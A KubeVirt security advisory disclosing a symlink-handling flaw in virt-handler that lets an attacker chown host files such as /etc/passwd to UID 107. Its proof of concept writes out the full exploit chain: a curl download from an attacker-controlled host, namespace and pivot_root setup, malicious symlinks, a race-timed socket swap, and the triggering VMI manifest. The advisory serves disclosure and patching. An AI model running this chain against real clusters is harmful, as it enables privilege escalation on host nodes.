GHSA-2r4r-5x78-mvqf

Summary

_Short summary of the problem. Make the impact and severity as clear as possible.

It is possible to trick the virt-handler component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID 107 due to mishandling of symlinks when determining the root mount of a virt-launcher pod.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

In the current implementation, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:

1. A symbolic link (launcher-sock) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.
2. Another symbolic link (disk.img) is employed to alter the perceived location of data within a PVC, redirecting it to a file owned by root on the host filesystem.
3. As a result, the ownership of an existing host file owned by root is changed to a less privileged user with UID 107.

It is assumed that an attacker has access to a virt-launcher pod's file system (for example, obtained using another vulnerability) and also has access to the host file system with the privileges of the qemu user (UID=107). It is also assumed that they can create unprivileged user namespaces:

admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1

The below is inspired by an article, where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.

# Download an container file system from an attacker-controlled location
qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar
# Create a directory and extract the file system in it
qemu-compromised@minikube:~$  mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine
# Create a MOUNT and remapped USER namespace environment and execute a shell process in it
qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh
# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.
# The user is root in its new USER namesapce
root@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root
# Swap the current root of the process and store the old one within a directory
root@minikube:~$ pivot_root . hostfs_root 
root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin
# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount
root@minikube:~$ PVC_PATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \
mkdir -p "${PVC_PATH}" && \
cd "${PVC_PATH}"
# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory
root@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img
# Create the socket wich will confuse the isolator detector and start listening on it
root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -

After the environment is set, the launcher-sock in the virt-launcher container should be replaced with a symlink to ../../../../../../../../../proc/2245509/root/tmp/bad.sock (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:

//pkg/virt-handler/vm.go

func (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error {
  // ...
  //!!! MK: the change should happen here before executing the below line !!!
  isolationRes, err := c.podIsolationDetector.Detect(vmi)
        if err != nil {
            return fmt.Errorf(failedDetectIsolationFmt, err)
        }
        virtLauncherRootMount, err := isolationRes.MountRoot()
        if err != nil {
            return err
        }
        // ...

        // initialize disks images for empty PVC
        hostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount)
        // MK: here the permissions are changed
        err = hostDiskCreator.Create(vmi)
        if err != nil {
            return fmt.Errorf("preparing host-disks failed: %v", err)
        }
    // ...

The manifest of the #acr("vmi") which is going to trigger the bug is:

# The PVC will be used for the `disk.img` related bug
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: corrupted-pvc
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 500Mi
---
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  labels:
  name: launcher-symlink-confusion
spec:
  domain:
    devices:
      disks:
      - name: containerdisk
        disk:
          bus: virtio
      - name: corrupted-pvc
        disk:
          bus: virtio
      - name: cloudinitdisk
        disk:
          bus: virtio
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - name: containerdisk
    containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo
  - name: corrupted-pvc
    persistentVolumeClaim:
      claimName: corrupted-pvc
  - name: cloudinitdisk      
    cloudInitNoCloud:
      userDataBase64: SGkuXG4=

Just before the line is executed, the attacker should replace the launcher-sock with a symlink to the bad.sock controlled by the isolated process:

# the namespaced process controlled by the attacker has pid=2245509
qemu-compromised@minikube:~$ p=$(pgrep -af "/usr/bin/virt-launcher" | grep -v virt-launcher-monitor | awk '{print $1}') &&  ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock

Upon successful exploitation, virt-launcher connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's /etc/passwd file:

# `virt-launcher` connects successfully
root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -
...
2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 "<anon>" on AF=1 "/tmp/bad.sock"
2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010
2025/05/27 17:17:35 socat[2245509] N listening on AF=1 "/tmp/bad.sock"
2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio
2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1]
PRI * HTTP/2.0

admin@minikube:~$ ls -al /etc/passwd
-rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd

admin@minikube:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:999:,,,:/home/docker:/bin/bash
compromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash

The attacker controlling an unprivileged user can now update the contents of the file.

Impact

What kind of vulnerability is it? Who is impacted?

This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.